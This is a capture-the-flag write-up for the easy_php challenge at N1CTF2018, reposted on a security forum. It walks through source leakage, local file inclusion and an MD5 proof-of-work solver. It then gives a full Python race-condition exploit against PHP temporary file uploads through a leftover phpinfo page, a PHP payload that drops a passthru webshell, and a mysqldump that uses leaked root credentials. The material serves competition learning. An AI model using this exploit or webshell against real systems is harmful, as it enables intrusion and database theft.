PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)

hades / 2018-03-14 10:38:23 / 浏览数 12726 安全技术 CTF 顶(0) 踩(0)

> Author : @intrd
> Form : http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/

This weekend me and @shrimpgo decided to try some CTF, noticed that N1CTF2018 are running. Quickly joined and there's a lot of challenges, but this unsolved easy php called our attention.

I doubt it was easy, several hours of CTF had already passed and it remained unsolved.

Challenge details

```
Not racing, just enjoying the slow pace of life :)
http://47.97.221.96, Mirror: http://47.97.221.96:23333/
```

Dockerfile

```
FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5

ADD nu1lctf.tar.gz /app/
RUN apt-get update
RUN a2enmod rewrite
COPY sql.sql /tmp/sql.sql
COPY run.sh /run.sh
RUN mkdir /home/nu1lctf
COPY clean_danger.sh /home/nu1lctf/clean_danger.sh

RUN chmod +x /run.sh
RUN chmod 777 /tmp/sql.sql
RUN chmod 555 /home/nu1lctf/clean_danger.sh

EXPOSE 80
CMD ["/run.sh"]
```

Enumeration

Starting the enumeration of provided web service.

There's a login page, If you try to log in with any credential you will receive the `code error` message. And apparently the username/password check is not even executed.

Ok, they are leaking this sentence `Code(substr(md5(?), 0, 5) === b5152)`, looks like part of code checking function.. checking only the first 5 bytes of md5("code"). And this 5 bytes changes on every refresh.

> You need to solve a Proof-Of-Work, send the result with the login request. I believe they did this to minimize brute-force abuse. Very common in CTF challenges.

So, I leave this aside and continued my enumeration...

Source code leaking

By brute-forcing common filenames and directories we was able to leak the entire source code of the web application:

```
# Web application files & scripts
http://47.97.221.96:23333/index.php
http://47.97.221.96:23333/config.php
http://47.97.221.96:23333/user.php
http://47.97.221.96:23333/static

# Backup files leaking the source code
http://47.97.221.96:23333/index.php~
http://47.97.221.96:23333/config.php~
http://47.97.221.96:23333/user.php~

# PHP scripts without .php extension leaking the views source code
http://47.97.221.96:23333/views
```

```
http://47.97.221.96:23333/views/delete
http://47.97.221.96:23333/views/index
http://47.97.221.96:23333/views/login
http://47.97.221.96:23333/views/profile
http://47.97.221.96:23333/views/publish
http://47.97.221.96:23333/views/register

# "Useless" phpinfo() running over command line: <?php system("php -r \"phpinfo();\"") ?>
http://47.97.221.96:23333/views/phpinfo
```

From the config.php source code we are able to extract the mysql user password.

- MySQL user password: `Nu1L / Nu1Lpassword233334`.

Local File Inclusion (LFI)

Analyzing the leaked source code we found that `http://47.97.221.96:23333/index.php?action=login` are vulnerable to LFI.

Now we can read any file on the system that our user have permission w/ this payload:
`http://47.97.221.96:23333/index.php?action=../../etc/passwd`

The provided Dockerfile are showing us some interesting info and file paths that we can read using the LFI.

Starting by the `FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5` docker container confirming the version of php, apache and mysql.

/run.sh script

```
#!/bin/bash
chown www-data:www-data /app -R

if [ "$ALLOW_OVERRIDE" = "**False**" ]; then
   unset ALLOW_OVERRIDE
else
   sed -i "s/AllowOverride None/AllowOverride All/g" /etc/apache2/apache2.conf
   a2enmod rewrite
fi

# initialize database
mysqld_safe --skip-grant-tables&
sleep 5
## change root password
mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('Nu1Lctf%#~:p') WHERE user='root';FLUSH PRIVILEGES;"
## restart mysql
service mysql restart
## execute sql file
mysql -uroot -pNu1Lctf\%\#~\:p < /tmp/sql.sql

## crontab
(while true;do rm -rf /tmp/*;sleep 2;done)&

## rm sql
cd /tmp/
rm sql.sql
rm /var/www/phpinfo
source /etc/apache2/envvars
tail -F /var/log/apache2/* &
exec apache2 -D FOREGROUND
```

Found MySQL user password and some system info.

- MySQL root password: `root / Nu1Lctf%#~:p`

We also tried to fuzz common paths, /proc's, file descriptors etc.. to get more information about the system.

Not much found, just confirmed the user are running apache2, cmdline, some log paths that we do not have permission to access and Linux header `Linux df551128a261 3.13.0-30-generic #54-Ubuntu SMP Mon Jun 9 22:45:01 UTC 2014 x86_64`.

The PHP Filters & wrappers are also enabled.

```
Registered PHP Streams => https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transports => tcp, udp, unix, udg, ssl, sslv3, tls
Registered Stream Filters => zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags
```

But we cannot find a way to use it because the `require_once 'views/'.$_GET['action'];` this `views/` prefix we need to escape with `../` in order to get a LFI and it not works with the `php://`. (if u know a way, plz tell me)

MD5 collision PoW

With all enumerated information about the system and even without a RCE we decided to solve the md5 collision to start attacking the login system.

So, the `user.php~` are leaking all the login process details.

Breaking the code into pieces, this `if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])` is mandatory to solve in order to poke the register/login credentials checking functions.

This code is stored in `session cookie` we leak the content but cannot control it (yet).

If the system return the `Invalid user name` means that we have sent the correct `code`.

MD5 first 5 bytes hash collision generator

We quickly wrote this code to get a valid collision.

```
<?php
## MD5 first 5 bytes hash collision generator - solution to easy_php @ N1CTF2018
# solved by intrd & shrimpgo - p4f team

## 1st create a wordlist: crunch 4 4 1234567890abcdefghijklmnopqrstuvwxyz_ -o file.txt

$_SESSION['code']=$argv["1"];
echo "** searching for: ".$_SESSION['code']."\n";

if ($file = fopen("file.txt", "r")) {
   while(!feof($file)) {
       $line = trim(fgets($file));
       $_POST['code'] = $line;
       if(substr(md5($_POST['code']),0, 5)===$_SESSION['code']){
           echo "yeah!\n".md5($line);
           echo ":\n".$line."\n";
           die();
       }
   }
   fclose($file);
}
?>
```

Gaining System Access

Now using the pre-generated code `aklhic` we are able to create a new user browsing to `http://47.97.221.96:23333/index.php?action=register`

Nice, logged in.

Browsing the web application features, we can publish some content.. and set the `Allow different ip to login`flag to current user. Nothing more..

..nothing more unless you have the `is_admin=1` flag set on your cookie.

As you can see, this flag enables the file sending option, a good way to get our RCE.

How to set the is_admin=1?

Code set this flag to 1 if the login/register POST are from the correct IP, I bet it was `127.0.0.1`.

The `get_ip()` function is strictly reading the `REMOTE_ADDR`, I think i cannot spoof this value.

Trying session cookie code injection

First idea is inject some `<?php code ?>` on cookie session file that I can launch from LFI.

Now we have more information stored on the cookie file, but only `username` I can control. And this is properly filtered.

This check is blocking invalid usernames. We cannot create a new user with some code on it.

Trying SQL injection

So, our next idea is checking for some SQL injection.

The queries are very simple and the Db() controller are not properly filtering this. But the code are.

Sometimes it is converting the type to `(int)` before sending to query. It breaks our SQLi attempts.

In other cases like `insert()` it is filtering using the `preg_match()`.

I think it is possible to bypass the `(int)` sending an `array[]` or something like this, and I'm sure this is vulnerable to SQLi by other ways, but no success on my tries. (if you know how to do this plz tell me)

Object Injection? POP Chain?

We know the unserialize + PHP are ALWAYS VULNERABLE.

This `unserialize()` of the `mood object` is very suspicious. Mood class does not have any php magic function that we can abuse, but the Db{} has.

Ok, but how trigger this?

I created this serialized object locally to a deep inspection.

```
<?php
class Mood{

   public $mood, $ip, $date;

   public function __construct($mood, $ip) {
       $this->mood = $mood;
       $this->ip  = $ip;
       $this->date = time();
   }

   public function getcountry()
   {
       $ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
       $ip = json_decode($ip,true);
       return $ip['data']['country'];
   }

   public function getsubtime()
   {
       $now_date = time();
       $sub_date = (int)$now_date - (int)$this->date;
       $days = (int)($sub_date/86400);
       $hours = (int)($sub_date%86400/3600);
       $minutes = (int)($sub_date%86400%3600/60);
       $res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minut
       return $res;
   }

}

$_POST['mood'] = 1;
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],"127.0.0.1")));
#$mood = serialize(new Mood((int)$_POST['mood'],"127.0.0.1"));
echo $mood;
// $mood = unserialize($mood);

// $country = $mood->getcountry();
// print $country;
?>
```

..and confirmed that I only can control the mood id, that one converted to integer before to get inside the serialized object. Again, no injection because the conversion.

XSS? SSRF?

Maybe there a PhantomJS or some script browsing to my publications?

> If we are able to trigger a SSRF, I was able to craft a POST and set my user as is_admin=1!

Nope, we have the Dockerfile showing every system changes, and leaked a lot of things that indicate this is not happening. Also there's a `htmlentities()` and other things filtering our XSS tries, and `javascript:` didn't work outside a `<tag>`.

Emulating locally the remote environment

After a lot of frustrated tries, we decided to move back to enumeration searching another attack vector.

So, Dockerfile shows us that they used a public repository to create the base system for this challenge.

I pulled this to my machine, sync'd everything, got a rootshell on it and started the Container enumeration.

The only things that I cannot sync was of course the `ADD nu1lctf.tar.gz /app/` and `COPY sql.sql /tmp/sql.sql` containing the challenge data.

Unintend way to RCE/Flag

Checking the environment we noticed that the challenger made a mistake(intentionally probably) while removing the `/var/www/phpinfo` folder on `/run.sh` script.

He missed the `-r` and it will leave the folder on environment w/ all its contents!

Nice! Different from that useless `/app/views/phpinfo` that are running over command-line, now we have this `phpinfo();` that we can reach directly from web server and interprets our `GET` and `POST requests`!

And, why this **`phpinfo()`** is dangerous?

Remember the challenge description:

```
Not racing, just enjoying the slow pace of life :)
```

I do not like the slow pace of life and decided to try a well known race condition exploit on it.

- PHP LFI to arbitratry code execution via rfc1867 file upload temporary files

Gynvael Coldwind wrote this awesome paper about a Race Condition that can be exploited abusing the PHP File Upload function. Btw our php5.5.9 is vulnerable to this issue.

In order to exploit this we need to launch a `multi-thread` script to `flood the PHP Job queue w/ junk` and we have a `little time window to access this temporary created files` before it was automatically deleted.

> The random_value is later written as 6 digits of k=62 (A-Za-z0-9 charset) numeric system, and appended to the "/tmp/php" prefix (unless another directory is set),
> e.g. /tmp/phpUs7MxA. -- Gynvael

Also found this another paper from brett.moore@insomniasec.com:

- LFI with PHPInfo assitance (includes PoC)

I tried to use the Insomniasec PoC described on paper but no success, maybe because some chinese server conditions and settings, I don't know what happened.

Instead of troubleshooting that PoC and to learn a new thing, following the Gynvael and Insomniasec papers we decided to write a new exploit from scratch troubleshooting every step on my local docker environment.

Final exploit

```
## PHP : Winning the race condition vs Temporary File Upload - PHPInfo() exploit
# Alternative way to easy_php @ N1CTF2018, solved by intrd & shrimpgo - p4f team
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/

## passwords.txt payload content
# <?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>

import sys,Queue,threading,hashlib,os, requests,  pickle, os.path, re
from subprocess import Popen, PIPE, STDOUT

NumOfThreads=50
queue = Queue.Queue()
```

```
class checkHash(threading.Thread):
   def __init__(self,queue):
       threading.Thread.__init__(self)
       self.queue=queue
   def run(self):
       i=0
       while True:
           self.clear=self.queue.get()
           passtry = self.clear
           if passtry != "":

               padding="A" * 5000

               cookies = {
                   'PHPSESSID': 'o99quh47clk8br394298tkv5o0',
                   'othercookie': padding
               }

               headers = {
                   'User-Agent': padding,
                   'Pragma': padding,
                   'Accept': padding,
                   'Accept-Language': padding,
                   'DNT': '1'
               }

               files = {'arquivo': open('passwords.txt','rb')}

               reqs='http://47.97.221.96:23333/index.php?action=../../var/www/phpinfo/index.php&a='+padding
               #reqs='http://172.17.0.2:80/index.php?action=../../var/www/phpinfo/index.php&a='+padding
               response = requests.post(reqs, headers=headers, cookies=cookies, files=files, verify=False)
               data = response.content
               data = re.search(r"(?<=tmp_name] => ).*", data).group(0)
               print data

               reqs = 'http://47.97.221.96:23333/index.php?action=../..'+data
               #reqs = 'http://172.17.0.2:80/index.php?action=../..'+data
               print reqs
               response = requests.get(reqs, verify=False)
               data = response.content
               print data

           i+=1
           self.queue.task_done()

for i in range(NumOfThreads):
   t=checkHash(queue)
   t.setDaemon(True)
   t.start()

for x in range(0, 9999):
   x=str(x)
   queue.put(x.strip())

queue.join()
```

view rawphpinfo_exploit.py hosted with ❤ by GitHub

The idea behind this code is generate a lot of junk on headers, cookies, uri and POST all the shit including your `payload.txt` to the phpinfo endpoint.

If the File Upload work, the `phpinfo()` will respond with the `temporary file path`.

You aren't fast enough to access this file before it was processed/deleted by PHP. But the multi-thread script are!

This is the payload that will be executed if some thread are fast enought to hit.

```
<?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>
```

It will create `/app/intrd`, a webshell that we have access though LFI!

I choose this path because I'm sure this is writable:

But remember..
We are not at an advantage in this race.

There are a fucking `rm -rf /tmp/*;` running `every 2 seconds` on the system.

We have the worst scenario possible:

- This job deleting everything on /tmp every 2s;
- PHP deleting temporary files after processing.
- Chinese server - Other side of the world for me (Brazil);
- Lot of players bruteforcing the application turning the response insanely slow.

Anyway, why not give a try?

So, I launched my exploit locally.

While the Race Condition exploit are running w/ `50 threads`, I keep checking the existence of my webshell at `/app/intrd`.

And, after a few minutes, it worked like a charm! We got our RCE at the controlled environment.

China number one

So, when I tried the exploit remote I have not had the same luck `:(`.

Of course the Chinese server are too far from me, and the brazilian ISP sucks a lot, `tracert` indicates that there's a single Embratel node sucking more than 200ms, ending w/ the total ping response `650ms+`.

But it become personal, we would not give up at this point.

So we decided to shorten the distance and travel (virtually) near to China!

Thanks DigitalOcean!

`350ms` now i'm ok to launch my exploit from a VPS hosted on `Bagalore`!

And after about 1 hour trying, finally got my webshell written to the `/app` folder.

I think the players loading the server's CPU with bruteforce shit helped me a lot slow-ling the php queue this time.

I quickly upgrade this RCE to a reverse shell.

Where's the flag?

So, knowing the docker environment, and excluding the nu1lctf.tar.gz content, that at this point we had already been digging into everything. My bet was the MySQL database.

Remember the `mysql root password` leaked on the beginning? I used this to `dump all the databases to a file` and greped for the flag prefix.

```
mysqldump -uroot -pNu1Lctf\%\#~\:p --all-databases > /app/intdbs.sql
```

A HUGE win!
Also, the flag text confirmed the intended way was that first path we were following.

PHP unserialize + SSRF + CRLF Injection, Jesus, we have no time to learn this today. Hey, Easy? :p

Learned a lot in a single chall.

Awesome CTF Nu1L .Cyberpeace, unfortunately we did not have time to try the other challenges but I'm sure they were as well developed as this one!

And thanks @shrimpgo, awesome team up and brainstorms!

UPDATE: Expected solution (PHP unserialize + SSRF + CRLF Injection)

- ezphp - official writeup by wupcode (admin)

点击收藏 | 0 关注 | 1

上一篇：深入探索数据库攻击技术 Part ... 下一篇：机器学习与网络安全相关的资料

1. 0 条回复

- 动动手指，沙发就是你的了！